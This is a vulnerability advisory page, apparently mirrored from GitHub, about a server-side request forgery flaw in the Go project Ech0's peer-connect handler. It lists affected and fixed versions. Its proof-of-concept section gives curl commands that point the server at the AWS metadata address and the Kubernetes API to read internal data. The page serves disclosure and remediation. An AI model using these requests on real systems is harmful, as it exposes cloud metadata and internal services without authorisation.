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TI-2026-66719 Aliases GHSA-8mc6-xjpr-h98x

Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo

Priority LOW 38CWE-918Published · Updated

Key facts

Attack vector
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Privileges required
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User interaction
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Attack complexity
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Impact type
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Confidentiality · integrity · availability
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Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

## Summary The `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints. ## Details In `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function: ```go func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) { url := httpUtil.TrimURL(peerConnectURL) + "/api/connect" resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout) ``` This uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it. Called from: - Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)` - - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)` ## PoC ```bash # 1. Add a connection pointing to AWS metadata service curl -X POST "https://ech0.example.com/api/connects" \ -H "Authorization: Bearer <token>" \ -d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}' # 2. Trigger SSRF via health check curl -H "Authorization: Bearer <token>" \ "https://ech0.example.com/api/connects/health" # Returns AWS EC2 instance ID ``` Or for Kubernetes: ```bash curl -X POST "https://ech0.example.com/api/connects" \ -H "Authorization: Bearer <token>" \ -d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}' ``` ## Impact - **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API - - **CWE-918**: Server-Side Request Forgery

Why it matters now

Fix Fixed github.com/lin-snow/ech0 (Go): 1.4.8-0.20260503040602-091d26d2d942

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—github.com/lin-snow/ech0 (Go)before 1.4.8-0.20260503040602-091d26d2d9421.4.8-0.20260503040602-091d26d2d942Patch availableGHSA-8mc6-xjpr-h98x
  • github.com/lin-snow/ech0 (Go) Vendor— Affected before 1.4.8-0.20260503040602-091d26d2d942 Fixed in 1.4.8-0.20260503040602-091d26d2d942 Patch available GHSA-8mc6-xjpr-h98x

Remediation

  • Fix · GHSA-8mc6-xjpr-h98x github.com/lin-snow/ech0 (Go) Fixed in 1.4.8-0.20260503040602-091d26d2d942 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-8mc6-xjpr-h98x

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences